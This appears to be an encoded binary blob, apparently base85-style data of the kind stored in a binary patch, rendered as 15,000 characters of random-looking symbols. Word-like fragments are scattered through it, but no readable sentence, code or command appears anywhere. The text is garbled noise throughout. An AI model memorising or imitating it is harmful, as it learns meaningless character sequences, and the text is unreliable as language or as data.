zX)&q@5z$$ZxT?-+YU`Y4d|tTZ7zFZCOde|e&(PN7S4HP6%eXr~a!qOT-^l($(in7S zS#g6B`Q&hJ)Ud?E@ zluJnItBI`h&_Mi4R5&rEM_E>0pA3v>OHtZ3(ApZ>8edX#1%13L&8lcFE`P-Nh%=nS zbQj_ISH!%wA3%ePl1Kcs?!UL^?fV__znszJyGMqQQRM9AX6juik1VTlqnCK?@TU>PGlK)4oM^PBscX!pWt_I)?@8oCJ7`1QTTEcE)B4hgI~5bfDICJm*LhQiLV^74&l-hx_? z!N-Q!YbG!x%^dh;4gd`}2)efh|DmN3@I$Q-5_Om_{hwGO5I8!f28giBX@6b@7^_12=$+}d;VbG{saSR%I zfj>4Z$i^MSJ=XY`(nI?>@yg@@m)^HQ^(Jx`dO@|gY~4R;_x4~6TC4hm6=ce(SDd_C0>#1$J+SHu8kG z(PWb2&<<7S3}B2VbNzw25e4g-Q!G(DRBN+QU{5ZA?l$|K7pOZ^F)4akxeq zt(ej{9J|`5wh3>dp$Em&n-LW{0quuqHAMTjA1{@!1T9YJsmCnq9N6|W5B5M6~x7-B>nal?TlLNI*Ih-?j$g67pk6<+D3^Ms1{>{ z+=Uj1b4X%1r_|raBaRm_ef(&NoxbbKpQN^?Wj^i{V9&nG2lQYp5%Icj2E(P)Z(>ES z;?PR?km(oifEO4N7jLmdsI<^`aegJvhqO;wEmTb!9BuuVspqt1!ZZu8Ex=qr?<56{MyKPqO%cJ>nyC!bE9oQpAo-a^+4F-Nzx z(>x%Q#DTv$-IW;}@DEvng}P)Q^T?2$dfW4}KKeDrnikeYzD)y(0sCv=k+$|gzQITF zX0_{(NA%YTWXc5i)6m-VF{2?i`D!(@u=qPt^@|I?i4Tz_$rnoV-2x?ZWo+qw6YZaF z^EEpCID<9a^%*nhu>zSZ>ixe~t?-!pG?z|p$QNA`ncbcyGMr2PVh!F@l#KTqTf6s& zTwuvxR*zRs`k3AaTbr7e*fT#Hc~i@ato^gq={MC0W;N`YzmcG2J?!ABP6M9(!>+#S zDg4xuaQR*e)bKb_C~*MU`tg0}Dn}@>yVMJ2=F4l)wPzrY7|?@k*ieXUsDA$JM$)+c zr45=;GJ`=|WaDFxV^^v6qM;Ml@w>f}ppB3}NYzS~SVNZR@)3(@)dUnKYw9hlJ72P_ zk)Ux7W-!1RG(hu_Kvt5rJksxKg!K1UGQS_zG9SO2Gap3~AbtF|g-vfMZc(~!0Y2hj zeDZ_%GqLdn`|twCPvWndeZyXSGLb)*@IhfVF55>sk z#|>mJd8;I}0V`;6GXfN=(j%p*m!=Q1KXNB_mHh#8US&RZRi`Pod$|&&Gw%{F)Ad28 z+jnDs8&>} zq#wwE-@FH96)n>$M)@ZKw5$WjcOPiQ3ed$R=iBhss@+JcH@GfS?7Vi{xHC)jkU>K1z;ZY*QClCBpi;MJD zRNicV0H*km@BI)XN$qz!**!&TZCWt~*oE8x{#@`IJK zwPUii>wm~2LVw`}3VXyinP9^?oJHPtDq(1^Z)Z2?&7qP89h`(6%sRm8iHv1!J&PnR z{2Ps4G8`p-L@LYZSDBIjo`W_{++r45CBvWk3a#!8=WiF`H{&pRo_`%K=PgNXZDh%S zUn?~SO%`f|-)MH76_8;c)|tWukN!(uIjPV%p$@8dQM;m6_we_L<@s|6#i(8$yldbIE)=+h!{6fdRk&Q&2 z#$S01z;7(ptfqEjKC&;t4%R9z+*Vflr8lSNzS*&%9gm=;6>X+ylg>IDTO0Pq)1VbX zGfJ>`*<3EODGgnj%b=mFLB$rQH?)uIp|#BAXJ~G(kY(-u{DyYK$}!!X9FD+{^|CIg)Rf-FWv9b)i-wt}((xf*l zbZZ~#9q9{-5iN)H_PgCS@3ssE)i{*Lpd{8mf$h?t5$M1>Q*J}+VfjS6G~+RzIdrWB zYGXZ>wo6-EciY$~`e9Ooc3ED^rp>W(JsTC)GnW09Z?|dxtW{>Ca&M?tIdLgNdn#09 z3Y`6Y7-heq&@y*GLj~00oY1Dva4tQAw*UTOIXh;+#j%)~PAXlk-Nz_9T*K>)JIV|` zw&JQSeP1i%w$ayd@C&sfolU#bpqN2(ULvW-YTDKmx?Kxe#83~@Vo_6`28{^yGPH&h z>0@jt^U<;c7IvaYc2n=tEIfLoPAeRxh?j{cVnds|;o)|AvuZEuSys?!Jm#AQ_{5Vt zi9+pO;)~t;Q7>sFO3&;4h{C7IC*8DjNO^-itn_K3-<1mRTi3XR@k5hTT6J`BLrdgA zi_9Czkv`vJ9HFBaM@qGwlY#j0L$qrSB9q(vjE3{Oa!Byc`ahlR34J7$hotIJg?eY2 zQLp=JBFXT|=wR7MWbsuWnJzK%HBq1krx?-0NkpMsL!qTvh>soF3g7-%`^z5IlR{h4 zt?KuJ`W>_~p(%YWG~W7ysomnU^=#2buO<~W=;ah*Kyg>J+ae_~wAn^ZCJuK=WLiY@ zU>qmbQ5tm|y)4;`o_*J$=fc*rPrKjvrD#!KXw-HmQ+idX!WMFdIYQ^pVbAWm5v}}E z_%&J&^34KrQNOoKLd&gw8>+XJLayqqqfof|eJ7Mc{pL`=D-NTV8J)NO~U!BMJ~L<5cW4{aeNnq&1V!1%7q&v-ZQZV>$DRvlj0I_I&FPHvq8+fUa^TkjD3KMD+K zv6fjlqbF>`^n`8cdGy!pEGSg8Qlho3tv`ho20bng3Ty-#R|(WGK4?=5kY8!gkxcxj ztMGXK)0JmAe=?i%B$4@_*T!!J49Xopz@R-n_ygEnfBr2tIGF#T`K?7*2a38W|x*+ zm)D>lM_mjWXXS8q>C!n!U$p`{nAn%G9on19)ax2bY3sWD$!zsU^y0GtSrWWXX{;`% zP?+ZJv*s;f3C8BBd5a^oNi#T9Gk9Gy*izbf;mQm){)v1;zk&DxuK z+XgUOK5x+O=9HAqzs}C9*)cq8Sal*qW1+ImnadB2LFKQ)d4X$kqe;&z`3$-;AKec) zNQ*{e_-9>oWHD1OJe+!&#!_0@y0OTf!TL`;3@Ve4KBCvVIlQbJLjyyqZvgo{U=4PC zXd_q0efI{A)$1G%S4Z8ml?>`4wBjVRQ`ffE+vL`{xh_yk1J3weoccW zuB~s-xk_~mYM+yOS0>ZjgaI{7>E2|m3>wuS*q~KoX%UgEwxRVDDkpR@Ii;aO6@-!q zT~&+irJ5Rke&4wZeakfd(@^FD_lg&fwMP^flCu{PC-eFEX04Vy0os3rSh2PyQ7HQr zS5xm$Ec^X)S@G02kNcU@juSXR8zOY;9#%K_R5nvD+gx(YP8Es7Po2ppe+XR?>Yp}+ zY1`KN7qOjRo&QHJRW>dBUSuE-OWueafa%#L=CH$&#xlD=CIT1$6? z4C+Q9GSCEhK;v~IZnFW#6&4>;IzO9-*wip{39>*VO~z9QlV* zH{Hn_q24Y^maFQmi1^h|zfKy_opCNk&u$Yz)q)*{HYF*3x6l(blwRnmP8&OmR!gYp zWA+dOh4u^m74m;Vy)i;7g-!}R7y9ss7OBN0P-wo;J)taW+r}VQN3|OK6(V0G|HN!w zv5v{0M*HxOmL)_HN9QvYF2g~+r`C8cXb{c&x+b{Ca>YwcMFzNXMmTXH8_NY z9e#o@DN!Q3DIKty()58m*I1JZTCu61QP=5hithSbd5ANLa;eD2)8uCj?mXmY`grt~ zJyXJ;pvNykWrC39hw5ckyYJH`BD`P8uWyy*O#}3k>rz|-H7SA5iBo}0X4_7i78sIr zAz$fw2(?^{HBEOA+3VEwG~+F$HzZ44$YyB0J&EF5J;>!3T%z<_2sS>xOES}9{UoAL zykkLzHt;BD?Q1;E<6)dLY_4MG7Osw`8c~HM@r-AU?uVYYi+1xxTT?n99BtGcNIe(P z()CBD>y#sPO2rzSCt4%Xs*0A#&|Dqm*V*1XFr?#LV%flS*wv;9_}J2M;oQ{0*iyX2 zw?9(7N=YcK^C#zjf8n#9B0nu>(5g?+7G8l?{xh`dSD{__3vJIcXt_n37z6F26;te3 z;eQ@khL*w8H1`9oT8KxABU%>KJ08Qh7?Myc(sC zMw#+|{4}CAk}5!wPL=erSd9nqa|r-_2#bL9;;p@_4Y%wAkkJ?G+U>MEt-v% zeqlb2Snp0x`u_jB%G~dur8@y_f<{zB8mcc1Rgs1&e57rGOSHY9K4R5JQ;lPy#&Oir zt}Vf~bF^*u7FwI*(6)Yq_Q-md-EJ{K<9#b#MSQ1T@w?RPFPXbY<~@?{mgLKB(d@`s z%%a)43b5YVuxTBwQQD}hHA=hm;vZsdp&#`7P5ov}UD8PErcvHFiBu)OmoTNBHMRvB zThHXQP4$z0(?6i!b7_(4fOL>mbDk^BY>X3lB`Jt8SR@rm))vfA4EJN6u@E@mSlj?v7l(9CRihOV@fjqacBkk`;X0)p-eZ&`+i{i3CT;hw%ng}9Y8NKzlvN+k{ zt#o7x9m}wDeKMHLGShVYY2`&k&OrTBz%wgh0;KS4#Cp*~XU>_P9!tS`cB3*t(za15j^iE!Kt^gP8YP=g`YdDe8$xWEm1kU7Z zBjSQq=)QtC1(2%oYqGDU(>Oz!I6jlH-Tjhku%t?xntnH1|2xU~^8ZiD)4eHgP~%is zSd}B>a2>>Nl=%6J-{{TktvUzuRz$DgNaebXIUi(sYI{YMwmh|2TiOx$YH#0NZ{(G* zJd*9rzE~^8ZgKttTxMQ`_Te|Qxbi+*7tn8T87ypbB65rBW3lImib%g{vbXUJ<)?sp z3pEznG?mh5p-7>%*38)cC6PC1TNwS`5sDOgr0>PsYHh91+G@LsENIPn-me=bD`_S@ zuRPD3H_&Vi5^5esRytRl-3@YeI9dL{-m{l*@-QfQ=Mo0Zou0;^aBH_?*K1xPzd?t) z@Xx;%_wyK9&z{}})lTANkgv5rvfHi}s_&7|(ENowg?6qlY)WScH8UtMB#HG_iESIr zEt|AaM$0B`baqA(gN`-fHk@=3c@6DTD^G*YjPx}qLa5SH?jOn~bo@BC^(>AAJr}K) z^`^1i?+7=fit5ZwI&q%RqI(ec1&wbGYAKXYXz~_Hm#?O6Eo*0O_wh1+e1ly4y$l-r z(a)eALQgj_j#G{H-9YTYS(l+S{(9lRwsB;4I)=QJ`z6Q+{t%GRot@pF-w{m(5oz-7w?j}SVd5ZJ) z-84N7`mlppb>0bD+%CJ3`Ob)Z1|1giP3>i9Vb+ynbQC)sMqL%|1Js7SqGCn{4hvd7d)%ugG&m zzqvevEI5!B_ZP=8ZF{)KHR!>5P>!dd#nm{09NQUmIs&xrFz8=4_K1DvfeJ36w}RH6 zaqTtJ(;Lol4uIMvfyr%kQLwEPq z9|Eo0Mo_jwaL%y=)cXj1Ea-vmQ+Egb=mz@S18WZ$fgL<|9a7QM7qW$b5fk9R51#{VbVpYaC-m`>ApG??Td&#TmyojiZpF#(7CU zSJDSd`cO&VOwv!5q#s3d6Yc0?q>t^**fKn2J_0l%ca7+Rq~ER)wGi#HMwCt?N~sZz z*NBp8L_;()>ovB%8e56XF2)XC?qGL(U1+CuPr2=juL>2MjooLozAZKH3&``2kdOT+ zdu}OvuGuw<>21_nylq<{ccG<1<6X(%n~vawxrla){lm%r$3G*A``rQMcTHiW59*2T zU(3RN>07)oo$mJ#nm-iJ-$-|b?fDL^exFok9IHRDV?Mr%J@)yboP2hx#Ckhgi;?&7 zW8d940)AD64i+tIIG=q=+n7bP{pCez%JY;qxRk)O$X}4sN)IW`H7Tnp4J}BPF}-{t zL-W4?`Z1cf!fu|Rw^|4AS4}#j=U|~JeW5KBs^0<~1PhJS4LQ?=#!m1z5?pS9q#u&t z|E>%mCT~>f295iQM*3#GkneM1p0<2Q1&TaD26|O!yikPDE1{u6(L&Ge zV2OurfkJPBwyJbsG_+l^=iJqheqUd*o4z|Z6*@VSb@@uetXiiR z(2BPt_GCZlVd}jIFK^JCROEWC52Ll#$6QQlXvrx z(i_F$5^BBIXVcpGu$LTd-5qGt=C6kH_;B{CalF`1FASo$q4C+}@BPT$bV5sZv$riS zc1}}b4QPT;Vxdoih*pmy@l7Gt8~b+KxZ|*cw2kmS>HlKw4{KqGCxm9U#h>^t9P-B1g1_Re&iKBIswzoH{V*DAnv=FV*S!lVV@Ec`| z`1LGsSh{aMK`M-T&^>}Fk#QrlH&Xj`Zlmi@3ltGj@{#ar_m z&KEv_{-glyNeY*BaiASN>1Sm27FyX7?T!`NoQXN==}Ck*GLEya8=IJ!TZ=$#D>9B6 z-LZpxo~*&Og|UPDKA=6i(KYG{Ty|UEvDo&q|2Q_3uQ}^{Y5XFlG;AP!M4zJctw!{+ zAliM{o5;B~BhTJ1wMk^S3>}0Wv};F;EiuUAmmA$D)V}-u7Uq1PWT~uguk%<>YHaB@ z3cdV_<*bNT+LVqLIuwr)g$sE-C~E2@6m-+hsyj@iy*u{U|MlWTmK}+0%_gaEi;~k$b2VLmSUm>;%g`B1I z)fmvm3wX@LmNsnP8D|1#g6;;nIu2UaZpVcN$$bsVcsH*>z8!P@hXO;^DGD`i`9J+( z&uN=5jzhkzsLU;@nG>KhfmIAzv#W+df%`%6veYs(uiVWH%2K3)LC!+Ovchk!^?s~< zwlvAVp+N_8R5GZ%2lbxSYh!2?m)0>TPcix}QoFLD-JjpWpmEKRrNWt(hF0}=ZG+Me zYGBaLm;i&GIT{)CxH(c4mdx?3w`^@m*Tt!6P|MTR4T^URS+4(PZ zv~`aMDs!B+KOewvLNp_KRE=?r>V))35~G(Fy%@))wXIEW=W?_)X!x|M231PyV$l0E zpj%Dg_q!=5#X9^8I+Bh4s45`cvRzDMDdb>7@(%<9i8rrW6w5@TO znThi(xhdWG8I=D$Qe{3uy=jSQ>m`}{$PRjrV)nOAZ)*58xrYQ_g0QQM*DIRRiE+_J z`!UozyS2V4ExruYCt*EkAF+)c2?7nRvI8!?%TRixF@~5C;Pe8-_p##?h&=#LZ&-ZR)O|LI7%0bO+OLTQO=dz#U1cnrKW$)KYXy&V| zjui|4|ILd7|NGY52QN@mf2+E*4G%m;_r!FqNo49cgZME^Xyh-VT0QSl#ycjum)M}E zE@S`~g>vYRE5Sl_vXRp~=!=)?=H+a-^y^E6xVV!zlY1*s_uA1irk=kSl0Ghnr0Hvt z;ngV#ziRJtn-;4xBlFWqzJ~Vf4$@C3M#ghZTfp z2O~domN_4yueL^d{vT0i9T()%ynO_*J3vJgK}8e;5f#NiY!Flw15vR%k8$h{?C!*4 z7uek%yE~5E-L3EaKKFjF-+$L--qc>As1X;m2NR>U|WBTdx?)`xT`GdnI6@m02j6vYN+tZ;8%{nF(zo^eH8@SQpTa z9H7(C!FFgB~qpMzyzhK|?F+Py6!BfgG(8DtMj}Y+9HR=(kUBoQc8@ z7PM?-DX<$NU2{n2PN6b>7&J-;6nj4p$JVdsY~u7 zDdqwDhoWE4bL69F8Gh*T5V~xg_qNCA^$Xj3;88;|q@{kWx6Vx1eqXXpA%jBn!g#*x z^p_Lw(Tesy#M)~np_kdIjkS-{(}n0PUD6zce%e5ef=?p3{#j7|4)jMM^=T)|r{WZ0 zXIDzl)tC9!+A`UV&SRYL?3@#*Z+((LyZ#Q22>sF5xO_UpdvPKfY}UI%6)w>WohnD~ z;yH>IIMotnm8BQvGj|WGyuf3d3iTEWzlT=o_A~RJu#mp-pSkoY!Mh3lH4oZK{b5x5 zEbZT9tzJHyj5ql!)Mp#<-1dOJ?*=s#TBmrX;VhpiVoY~T2m4)5%jgLZstbv&^} z7%f*o2s!Hhs+{4SewlJ>t@mi>EYE8~d+sE^-)_)$j=P`4geLqZ^iNoTq1`g+x;QNC z$ow+2m!Fwc`qkki(a66!$K&Kf=(NwQS+*4N6FMT~-Pqa4OLM)fLG$)7bNwn*{v)Zm zT_N7>O&JYGmK)IeR%HI$wtZ?7I;$Hen0#+?V=2=@Zk_+?Md%YN=k_f6gq3rHl=Jwa zoS~|IfV@q658A$ub5PxO*EhW9l-h)dC_@XW4O*;tyDwBXp@T1i9$RH(YfwFqTT$oc z#2VW8{M^u5DU`A?w0m<%V}ob3;rO+h{LVa!rYUubYeYY6(9k;HX{VcLy*Fng-`sFG z%93gGaGBgFg0U9Fgi?s;I9v@PwdLhO_p)MBR~Jxh#kxkTo=rew zBSEikg_zJURc%_-kPF9X+dp3NHyX6k3yuw(skNms0cwNlSy$U-2~Z zW?QGXZEJXUE@9BuPN1fuT|L04Wlep0=QYI`4R83xyuy1TsAzNQ`RZTxXw${PcX&gS z%Y6@9{SQSA>7@7mQ(I>_ZC$2Xx4UeV@i{I3gGf^Qsb7i?KWBtoG?l$-@8a;TGPU;K zzWC61Yd7-$dqmWbkdO>U@`6m*pnVchl~?p1gLK}f#7(>ZaB+Bi2ww}1vTH!pkfFa_ z%>H!wq^<@XpIO+Tq8pPNRPqi z-j5%$pL_lZIZ7K^qta;a?FUNt9o_|s_raMo(jUldcvD-RV@uv=d7X{g`S5~3{o9;J z>i9Qy$=aK|UDVqX8Rnt$iH4-x%A1^*+z0Q_4gMyLt?jcK^j&D)pCCiqzl&VfEQO|D z@8vR~yRuQ1x7s54;V3livn`8>_c$9Csv5^D8R;J(Z~QkjUFAy&KJ?`Uiykdpjg-G% z;8)313Nz>N=0%nf`Axk0<~LasYa9EZAvY+4R=QpnxnzyS#Z>8j{W*oB(3E$k>JWzZH7b&~`PK_aw&YXR{TUk# z`-qqHS&5xD*TDbMcCp_Mba6=jw|$%3#bNGuMxdF#af1ENPiV_UbM|HLz4N#XrkBk4 z&CQ_rsGJ5R`2laOFz%{mlf1tr?`R?9Rg}Da;@I*FDG$U^NgAvcN4PY2Ck@=I*=GY> z96AYY6Z$6P_nS04zLWDkqQ!_dSm|Dtt!hcDxynZtY4s`{w|T>I)iiclGm+lDxlpC> zNE5o>I$>&$33pYYWUQyq4Q^1ud*JXmP5fCN!ou zl5=-roL$EH-N)9TfI@q;A&rL}iB~}!g$p3XI-Y2FS4yk<|Ceq_G;r`CUaF-?t{g~c zl(mmzkAialWDGaRvba6c`uvrXFb^zmvT1QvDcInC{OKjRe@#e9-)21Dk2B#`Bc1$MJ zOXx@yLX%paX!Cwh8k0pUW_hO_T36|=R^B|t(N#Hm7KdGWS>9>$mcPYpd-()r+o>$? zv_o4T1I-9!WWH9kYoZ0cC}}u66zZqY?4 zb7rk2TUt<0(Y~dDRy;T8j%f28q0P<-@)mDnp#rXiRurvf253&nK^aql{IY`XN~`Lr zn6XrDRlwM4bu8$aPF*>+gf_ViXrs^w@s`(*L_;4i@0k^dk0)fyX3}^m^jC>WhBiy@ z6^uyN9bCFbXi8sL*o3&TwsH+n@H^k@OJJ))&8i#0-p2CFu%@n(lD zMGib?Y8py#+L*BaNp^AQn#h_$*L^mM8d9`>F_Uht+SLu}Ayla@p;IFW-EEMIL-XB8 zxvS8kLZyuq7l+0P#OtEaNTK>lEt{daI6Pfk$F$?GhSo4E!bz9ZG5Hwo9AQGQKCf+b zc2a8X9K!w=>f+%4ihgjDk>}ztNoe!85EHN3cTmS?pgATD7l-8;S;6p2U)6AYo(anT zhu(QZ9IG=gb~G^YD*hz2mUy$wg4ge7GZXKxp6ULFqK3?0&Y6TRn<>G7y^PmfgdQDb z7P#yc=!|GxM7yOqQ%nT&h5L;`&sr8UqrT;NnVpPX$Cx_JOU8sQFG(X^BD!Qf1#Qp| z(CG)D>6?l7X94rF{%aWT4p>9H?B77nU73F@T7@o;&oFm!u+}K-@#*v!(DA2?^q+b` z>n#nsK11?=jg0Tp_47AUN(sf?LDPDBNv%Q_M%S0JgZ9*6++M(gk+gS9()c4w?##p7 zZ)i*Mk-G{r(nQVQ8uw?+f9(!ZW=PYNb10c>G1w*gIUKKhFi&1_0h_*W%~*c^I^JH4 zUx_Z$vocGVT7-DnIx#DEF3Cv0VF)w1iDf`Ht=l!W?N^Jo+O4ReW%-Ksi=E0DT4Vw? z4VvI!XvO1_7?kmZqd|`gI2n|33+U7nP?K=puKdsyG_E9N6hEHwI2z0h?act@c?-Ki zTXzQgWjJkXYOSD^vsb61hMcHe)wCd)27}_$H8QlazEuqRH8sCMcZA}6X|rAavD;Yd zeAvoZ6YtwPX8UAslRJwh+$)-s`gUt}L~P+idP-3?7>%!sO{ zb?mvFeQY;>c8oI#b$&%?%L=SEMp~X@YjExhytExSv36B&zkHOR#w zHVGr{Ut8?<%DO8ZObb{2Y!%bO?Q-Mo*@XO{a|T5XdEM8xu8YI*k#@`P;_!1qW5b(& zHYln$tE+bvno6O4MSDF9jzN#@Rah5?Cf129dv+2i)SxLXaJ(;T|5vu~zE8|9P%*{p z^p)Nq)BJEF&tLKO)^34AI#c>H3xTqUHdZt*UqTxxbdN&UiFQ@A z;-WPbEv3*ep?;DaB-B0$sZACdtt$8ji^C+jtwPT!w17g>D0HA`_e6Uj zjxq}EEnR9zgP!6zsdy`rv4fvR_cT-XfL2iVG zisz=#V+wsJ+D_5-Dwk`8!W6nu9K)oGvrs3cRzV!`;^-z6q8k8_2Dvx{^|xz)_2QT{ zwy?`BB0n?3?$#g8HtpZsX$>kh)7PN>OF(C4f#MsmPy8kv-bW3g?O1N_%0vwrf0_Bh zp{thld6v}VCHe-iwy~?SGe0pKyFTEw@_>R_b?_Z4Jn*QI3)q$KQ zozN5X^*5(PpLucauvZUI+bW!?d{&RMl72ThK|FT}yyFjYaZO7A`!0FMF+e8JOxj9s2Y-ZE5hu7xCjv4tlxBj~-w4DXG2h_&efws@iMy2lB6B+!Sv0j+=l+u{J6YB-SE9_%my9P=w zTAXMRuS=S~Cx_6tSI`C&@id{A@&*`G)>@6XSMCCr-c)Oz=rEJ&=W7>s6^}@v5is5)`1Zv-8I8dFoq{?>M zu z{O`XIEZ$M_!mal~Y_F@R)YkUk%v0lfNDg=wVB-C{fJbDU!OUTPZch_h*P21v@;d96 z-Zvi!t&xQK+aW6}W8cT1=@y0lt9xj7&Jj9hEj77j9&DAw3pA*ivq^VvB;}jr9DV%U zo8)8Fvot1N?H|;r7*C{3YLAr1N2r(G=72JVV#$s>D1}>1vBm`5FRR>wHe!tIa%Zsz zc6nUFps#}|!2!RSZ@ubB9X!_+DL-eR)gz%*x-C0&bpa#qdusC5LUktXYwAovdApA% zwm&^LU4$-dWflA02I@yc>r{!&v0AA;Nks3B$ha}&7WAI7%J^_t&6z2>)2ulcQ?M~m5CFU9TGOL5PupkJkH ztnRUNNP+Q>i`HJNZuw!VxBUEtPI6&$K2V%P-OX4baPszItKfnf?VB zs5Is)jju&W!*?)fVtu?M(E}UI&qQr>55<0mU7>BN3oSvkMWSVOA>PFZ;?>Fw?Wg3G z)BBi}^%mxGuukc{J$bf@9CZZgCPWze05D!S8fQ+FD+ z=uX3t60~)hwWo9-3wuf{bf+Pw?kY^vorWd4)9_q(8r~>gyiU{C7J8sN4gR{*;Hf(e z`%WY?WB!dplN!|ZZzqGkM{)P{&Y_%!mRIK;Kj{o)v}l(O&=RiH8OW771G!dbAoJ=B zq_56E`jzF)fm<%TLy++~EzON*pb@%vF>_Y(p`@@-StSSyB;gd8PcdB87Cs8bREY0-&bWblE?3(cdlw# z-0p>3T&X?B!WgSKO{138c|qH>`4{tm*2Sq&_fJxz9;BzP?tjZ0jVsbK)6Djf`_qk& zqf5<0ph71=>qPsdcmqT$D%$3Qa3qT6qIg3^yRUcwW`#LwNHI_5U`0pLPCjTu-ZHiY zHCoHex?1;qrUukc&%Kxt);|*VjJeloZqhV;3@t}$M-zHl9IvdC)iy`wzo=zn-$Cmz z7FyxIsCnO;GKc7Jnz2O@)rwE572(QJerX@C+duU$aWAISCiHXF?Vr24{c}^de;(@g zPj74O%hq|Fwf1GBUDn!{je>RiCq!waR~m0FW0zI(h)MDY2YE#9?5tM&&IYQa`y|mq zJ%t8rVYQ<8E6SsxXlX=ipQEJF^!Vx=2KfYY$LX3E?OLI1J|?tLB9eNO|y=nEG^`!pO{tA9ZGpOd3aR+-zp$*nTCQPIDP81zG-wG`S?p#v@7 zusNoRR#9+R*wa-V(*jx!l8q7G4G#Y~8-KCI4%UC~Q>Ssz)|D z=uc>a0$6v_RXyFrVv#uj#Ji{#l;}F~JKpOhv~_jHQ3DQzum&~qWHRHs z&X=kf^rtH0@e+T+4Q=qGdIqgsz(~5S-WEP`6v;JHAkXO+=u;6^1NQ5Wg1;57xZ>q4 zO1!z&ZF0L0ZQX(~u-~ytMuUq7K;`yOfA6hfO{Umd(1j>?r)_4{@98nn1z*PAX{^05 zyZ#QzPk!AB#28wZI@qOIuTVqF-4q*qjsX?>fRqWHqfNZbji414O7mZ&37vljH2y&o zLkler?T&8G9~WwC-QE2Ec5!iNbe&zE_)m=a=T0kbq&RM8masb5-_VX(w@vI^j?ud$ z7jhBWL#Ssy<_04Zkg~oIt4E7wWinD0SZ%Q_@6IOHs@j*px;JltvQ`f^>*F_SWHl(m zkpc##{87xH+Ix9FdtW+M7FQ2rR#g0HQj^-6C!mPOpkdPLU0pn}g=i0w;q7~GF^{TO z4|G;9gq@gN#^|!Nrk_E}50)}0xKtK{$^@|+=~lP2q2((HEnRJBsmntvSPxo9hf0Q{ zr}ayly}vM1sLb-rCYJ{;x*Jr{x?5`7+50-BQ0zQ2xh(6w zvaX$O*|(I3b6f+HMzR3B{X;k?Uj)c&Eb;yp+N*evM-aNB6t!Y^y~;-N#mY?$I^U*_ zLA`c?G7YEZ4Sn3qgw{zLYfz6a$h-HXk)fryN1a(B4O)#ugDaw?miD6*x>D$JXe}ep z#oC3p?L7S@=+E&8L;L$P@%AroZfIL)qThsap#0@QE>FwR7tum5_DvdI}%G+ja z^;+q+Q@Wj$?(LkkLsO*v!Ge_0OCg^^(A=A&L9*85Xjy8ce7FSdq8B!G9)wnPtyjow zyIi++v~Be2Fg--Hbqm|3J>N=u>LZk{EK<@r)iCjno~3+iEox2+lvXl%L=B-$vi&yM{@e{bVuExjBn^fgLUP%+lu_m1ph;;d!L}99 zuayrL+PocFow=0i{4MxZm3D*%l>-G9fVZ!B_r(%gNK*Pr%G$@YB`piVn@y7YNIy48 zZY;?QC3*EAc;h6mtmM6Giw5qGoK2}-+QB;4#a`@gzB|r5;8RLa`|rgKhwC^{XmX?s z`sHClLp+#&gyjPrxPp|jw|z{!on1)nO!pu|JLCz6>k3d}edbK*(iAoEij^v9P%G&?>{@}o%g#F>Xe3b4-6|~I6V8LH7M6Zdg5&7GZ|WmuN4d$o+Yb6 z*$!jBk_Yn}nr}E3ujonW_22kQ*aqyEIGuF&>>!u!`6=n_@{It!XycU(T{;UzYV0^l zxqNeucnzW%Efo;jd5?4*cae{X84}sLK#OQd0K8H_ws>b zUb{R--nyEU%>ADDMwRTPOz7{mNZFki-ofIC&CAHBxX^8J^cBaF6)B9o)H@kxf31pE zdva1!YA52mfvZSu$BZ0?H%%8egF32S?k~D4`3zcog2>xzU(9&qy zjq`2c=>m?qu<@nXwcpdlyMhriLYw+`w?*TkT?0u zJG%%CmR}{Qg}f~7uxXpHoJN;hs{09_DD$2rT}^0hq2|`#Nw)U)BLWOMQJB0r*M?SC z=;IubvKjWi)uSFNZ-DCXk~p-qnS|cg22r`ryw)zp*bgcK1pKJR)T#(6?>q{8;0IKc|t>e?Os>)guf@?|%`eb$m7h#Ls;8yQNA1V! zMtXuC6vhVK3)5mgxlX?@r8l{}ae>l*Pz=8h^arIBnr*#GW7news-dY>Yv-%Jc?xxZ zOKJ7BeyFv1`)Jp)&0|`<^g5^IyN7oCx>%1QML`w!zKYg18=MyRhSc!bbTsR^Bx7H^uWmTQc9`{tsR387_p z>qu`ECyPIG#oP1i|B8O^(67w_dcQ`}#YLJnNr^6FRpwb$qdru{&W9f%FSQ@#aXpTj z+-M}IM0b3*us42R;0wO{yfL8_^h$lz{e*5VhUB*XpmV=Scb+sDtz7P?fn5^iiLW2g z&%}xLuW0Sw66zjA8W{sX<;0PuE`8(Gqj*ldP)d1DcKKDpKH^Ogsx6fK6rtxtOQC&x z7kT@N!^C^5S~h4uwB*}C?&6(%09t9C2`l zZ!BcaqgOm=pGS9bm^RnloJ@C%Ze@N#`q>zC!Hc(}OJ?PLZzrKcFS+|LF&FP~&$Q;) z_DWlgsc^iz%8iVX%ehCeWH|RLGHoHAhqZ2I^ZJhBHo_*|mZ&lmTHUdrKY>W8pjWf6 ziI!fs8zObPA+vaoi}piky3jhI`$B`1Mu!N}Z6f^|uj8ggg^b*gS)Ca)xRtdO?ZUMTtZKuN8aCcutA6WIA~N1sQY2wmfIk-N3S|Q6UwUh9qX;-=H&iJq*UL}9m?|7 zy(jxV=NQo@?1J`OsKNie61j)ai$XP&kN!dl%279Ia7!ArQ))g!=iTxdU6v_bccpP& z8pMirLGgMC^*Mxo^@N(qrtz}mWZCbO&&-6TkwRZp3hhP9B2-K$OlZzp z?*9%J`l>W;3uV?Tn|??djpEu6mDovxtklbK%vEb8yH&f>lz02c@}HX4eNh{ z6|4XM4Wk{4dDHkqDemB(NgHU!dLd01zZBlbsCkO^>3ltzm$h3@kA2*Y9s`9WRzzH_YpJ4&?8RBO3&FzD118c4leNH}E>9E^BD(Qh??LmNT>)4*3l_GK4+IhV4oi+L|zbgOW9dR!O0&inBlXXbJsH z#igJ>qU9E?Q&vJRT0afh{o4y?4}-29hW4m4yMq5&BYivGlUmsgN}9&gpv>0H-ws{B zFOxxe%g{$v5o#wCVZEwnbF>zkox{h_JRf))v|OlUTQoQs1q!q7nAlQApM|5ZP-Gxh zdmqHvx7!x7=U}Isl{TndW7ZEc^aGtQLjBnGyr7A<=pCmQ*DPZdV!r+s%N$J!*0NrN zw6*HEg`MS}8g~YqYGy`r3D!=CeXiiVP}1p9hW6Ss)S#%RG5?J*eE^qQ(Y^eOL`B zS=-T+$ItG}Ae%(8>JqV-@}0k#GP=K+S?`Nm%uePPDsQADc+d*Ge8@Z{@9N?v)c-T9 z23yCIM(98!|GkpbS}n($_SHtykU)4BJBJ&2Rg-~YMf)mrUMRQXwaSb3Sx&JYc2KBs zBD3CX-VP=WU!lj&tSkSU40LlV>tQ!L(E`u)jW)dB^*7Nj{g{+ScgP3m4*B8Vj1#?e 